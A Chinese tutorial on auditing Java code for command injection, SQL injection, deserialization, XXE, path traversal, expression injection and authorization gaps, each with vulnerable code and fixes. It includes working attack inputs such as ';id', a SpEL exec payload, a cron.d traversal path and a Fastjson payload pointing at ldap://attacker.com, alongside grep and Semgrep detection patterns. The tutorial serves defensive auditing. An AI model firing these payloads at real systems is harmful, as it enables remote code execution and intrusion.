Java 代码审计入门¶
代码审计不是"读完全部代码",而是带着假设去找证据:这个参数如果可控,它能不能走到危险函数?本篇用真实代码片段说明每类漏洞"长什么样",以及审计时怎么快速定位。
一、方法:Source → Sink¶
| 概念 | 含义 | Java 示例 |
|---|---|---|
| Source | 外部可控输入 | request.getParameter、@RequestBody、Header、上传文件、MQ、RPC |
| Sink | 危险操作 | Runtime.exec、Statement.execute、readObject、DocumentBuilder.parse、Files.copy |
| Sanitizer | 有效净化 | 白名单、预编译、编码、路径规范化 |
审计动作:从 Sink 反查 Source 比"从 Controller 往下追"效率高得多。先 grep 所有危险函数,再判断参数能否被外部控制。
# 第一轮:危险函数清单,先扫出候选点
grep -rn --include=*.java -E "Runtime\.getRuntime\(\)\.exec|new ProcessBuilder|ObjectInputStream|readObject\(|DocumentBuilderFactory|SAXParserFactory|XMLReaderFactory|Class\.forName|ScriptEngine|SpelExpressionParser|Ognl\.getValue" src/
grep -rn --include=*.java "\${" src/ | grep -i "mapper\|sql\|select\|update"
grep -rn --include=*.java -E "Statement|createStatement|prepareCall" src/
二、命令注入¶
2.1 漏洞代码¶
@GetMapping("/ping")
public String ping(@RequestParam String host) throws Exception {
Process p = Runtime.getRuntime().exec("ping -c 1 " + host);
return new String(p.getInputStream().readAllBytes());
}
host=127.0.0.1;id(Linux)或 127.0.0.1&whoami(Windows)即可执行任意命令。
Runtime.exec(String) 会把整串交给 shell 解析,所以拼接必然危险;exec(String[]) 不经过 shell,但仍有参数注入风险。
2.2 修复¶
private static final Pattern IPV4 = Pattern.compile(
"^(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}$");
@GetMapping("/ping")
public String ping(@RequestParam String host) throws Exception {
if (!IPV4.matcher(host).matches()) {
throw new IllegalArgumentException("invalid host");
}
Process p = new ProcessBuilder("ping", "-c", "1", host) // 参数分离,不走 shell
.redirectErrorStream(true)
.start();
return new String(p.getInputStream().readAllBytes());
}
审计判断:只要参数参与命令字符串拼接就是高危;ProcessBuilder 分参数传值可缓解,但参数本身仍可能被当作选项(如 -o 开头的参数),白名单仍然必要。
三、SQL 注入¶
3.1 三种典型写法¶
// A. JDBC 拼接
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
statement.executeQuery(sql);
// B. MyBatis ${}(直接字符串替换)
@Select("SELECT * FROM users WHERE name = '${name}'")
User findByName(@Param("name") String name);
// C. 排序字段拼接(最常见的"合法"注入)
@Select("SELECT * FROM users ORDER BY ${sort} ${dir}")
List<User> list(@Param("sort") String sort, @Param("dir") String dir);
C 的特殊性:ORDER BY 不能用 #{} 占位(会变成字符串排序),所以很多项目直接用 ${},这是注入重灾区。
3.2 修复¶
// A/B:占位符
@Select("SELECT * FROM users WHERE name = #{name}")
User findByName(@Param("name") String name);
// C:白名单映射,不做任何拼接
private static final Map<String, String> SORT_COLUMNS = Map.of(
"createdAt", "created_at",
"amount", "amount",
"id", "id");
@Select("<script>SELECT * FROM orders ORDER BY " +
"${column} ${direction} LIMIT #{limit}</script>")
List<Order> list(@Param("column") String column,
@Param("direction") String direction,
@Param("limit") int limit);
public List<Order> safeList(String sort, String dir, int limit) {
String column = SORT_COLUMNS.getOrDefault(sort, "id");
String direction = "asc".equalsIgnoreCase(dir) ? "ASC" : "DESC"; // 只用两个值
return mapper.list(column, direction, limit);
}
审计时搜 ${ 比搜 + 更有效,因为 MyBatis 项目里大量注入都藏在这里。
3.3 二次注入¶
数据先入库(转义后),后续又从库里取出拼接:
// 注册时转义了,入库为 O\'Brien
// 修改昵称时直接拼接
String sql = "UPDATE users SET nick = '" + user.getNick() + "' WHERE id = ?";
审计要关注"从数据库读出的值再次进入 Sink"的路径。
四、反序列化¶
4.1 危险入口¶
// 原生
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();
// Fastjson 1.2.x
JSON.parseObject(body);
// Jackson 开启默认类型
mapper.enableDefaultTyping();
// XStream / Hessian / Dubbo
Fastjson 经典 payload(仅限受影响版本,需在授权环境验证):
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}
ysoserial 生成 CommonsCollections 链:
4.2 审计与修复¶
修复方向:
- Fastjson 升级到 1.2.83+ 并开启
safeMode;或迁到 fastjson2 并关闭 autoType。 - Jackson 不使用
enableDefaultTyping();必须用则配置PolymorphicTypeValidator白名单。 - 原生
ObjectInputStream用ObjectInputFilter限制类:
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.example.dto.*;java.lang.*;!*");
ois.setObjectInputFilter(filter);
- 业务上尽量用 JSON + 明确 DTO,不反序列化"任意类型"。
五、XXE¶
5.1 漏洞代码¶
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = f.newDocumentBuilder();
Document doc = builder.parse(request.getInputStream()); // 默认允许 DTD
payload:
盲 XXE(带外):
5.2 修复¶
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setFeature("http://xml.org/sax/features/external-general-entities", false);
f.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
f.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
f.setXIncludeAware(false);
f.setExpandEntityReferences(false);
审计时还要看 SAXParserFactory、XMLInputFactory(StAX)、TransformerFactory、SchemaFactory,各自的关闭方式不同:
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
六、路径穿越与文件操作¶
// 漏洞:直接拼接用户文件名
File dest = new File("/data/upload/" + filename);
Files.copy(file.getInputStream(), dest.toPath());
filename=../../etc/cron.d/evil 即可越界写。
修复:
Path base = Paths.get("/data/upload").toRealPath();
Path target = base.resolve(filename).normalize();
if (!target.startsWith(base)) {
throw new IllegalArgumentException("path traversal");
}
Files.copy(file.getInputStream(), target, StandardCopyOption.REPLACE_EXISTING);
审计要点:
getOriginalFilename()的返回值是否直接参与路径;- 是否只做了
replace("../","")(可用....//绕过); - 解压场景(Zip Slip):
ZipEntry.getName()同样要规范化校验。
七、SpEL / OGNL 表达式注入¶
// 漏洞:表达式来自用户
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userInput);
exp.getValue();
payload:T(java.lang.Runtime).getRuntime().exec('id')
修复:不要解析用户输入。确实需要规则表达式时,用 SimpleEvaluationContext 禁用类型引用与方法调用:
Expression exp = parser.parseExpression(userInput);
exp.getValue(SimpleEvaluationContext.forReadOnlyDataBinding().build());
审计时搜 parseExpression、Ognl.getValue、MVEL.eval、ScriptEngine.eval 以及模板引擎(Freemarker/Velocity)中把用户输入当模板渲染的代码。
八、SSRF 与鉴权¶
SSRF 的代码形态与修复已单独成篇,审计时关注:
grep -rn -E "new URL\(|openConnection\(|RestTemplate|WebClient|HttpClient|OkHttpClient" src/ \
| grep -v "test"
鉴权审计的关键不是"有没有注解",而是注解覆盖是否完整:
# 列出所有接口方法
grep -rn -E "@(Get|Post|Put|Delete|Patch|Request)Mapping" src/main/java | wc -l
# 列出带权限注解的
grep -rn -E "@PreAuthorize|@Secured|@RolesAllowed" src/main/java | wc -l
两者数量差异大,就存在未覆盖接口。还要检查:
- 拦截器
excludePathPatterns是否放行了敏感路径; /internal/**、/actuator/**是否对外可达;- 权限校验是否只在网关做,内部服务裸奔。
九、工具:把重复工作交给机器¶
9.1 Semgrep 自定义规则¶
# rules/java-sql-concat.yaml
rules:
- id: java-sql-string-concat
languages: [java]
severity: ERROR
message: SQL 语句由字符串拼接构造,存在注入风险
patterns:
- pattern-either:
- pattern: $STMT.executeQuery("..." + $X + "...")
- pattern: $STMT.execute("..." + $X + "...")
- pattern: $STMT.executeUpdate("..." + $X + "...")
- id: java-runtime-exec-concat
languages: [java]
severity: ERROR
message: 命令拼接,存在命令注入
patterns:
- pattern: Runtime.getRuntime().exec("..." + $X)
9.2 CodeQL¶
codeql database create db --language=java --command="mvn -q clean package -DskipTests"
codeql database analyze db java-security-extended.qls --format=sarif-latest -o result.sarif
CodeQL 的价值在于跨方法追踪数据流,能发现"Controller 参数 → Service → DAO 拼接"这种人工容易漏的链路。
9.3 依赖漏洞¶
重点看:fastjson、log4j2、shiro、commons-collections、spring-core、xstream、jackson-databind。
十、验证:从"疑似"到"确认"¶
- 定位入口:找到能触达的 URL 或消息入口。
- 构造最小 PoC:能证明影响即可,不做破坏性操作。
- 本地/测试环境复现:用
curl或测试类。 - 记录证据:请求、响应、日志、堆栈。
- 确认修复:同一 PoC 再打一次,应被拒绝且无副作用。
示例记录:
问题:/api/tools/ping 命令注入
请求:GET /api/tools/ping?host=127.0.0.1%3Bid
响应:uid=0(root) gid=0(root) groups=0(root)
代码:ToolController.java:42 Runtime.exec("ping -c 1 " + host)
修复:白名单 IP + ProcessBuilder 参数分离
复测:host=127.0.0.1;id 返回 400 invalid host
十一、审计清单¶
- 所有
exec/ProcessBuilder的参数是否可控 - SQL 是否有
${}、+拼接、ORDER BY注入 - 反序列化入口与依赖版本
- 四类 XML 解析器是否禁用 DTD
- 文件路径、解压是否规范化校验
- 表达式引擎是否解析用户输入
- 出站请求是否限制协议与内网
- 鉴权注解覆盖率、拦截器放行清单
- 硬编码密钥、日志中的敏感信息
- 依赖组件的已知 CVE
十二、常见误区¶
- 只审 Controller,漏掉 Service、定时任务、MQ 消费者、RPC 提供方。
- 看到
PreparedStatement就认为安全,忽略ORDER BY仍是拼接。 - 看到
StringEscapeUtils.escapeSql就认为安全(该方法已废弃且不可靠)。 - 把扫描器的 INFO 当误报直接丢弃,漏掉需要人工串联的链路。
- 只验证"能不能打",不验证"修复后是否真的拦住"。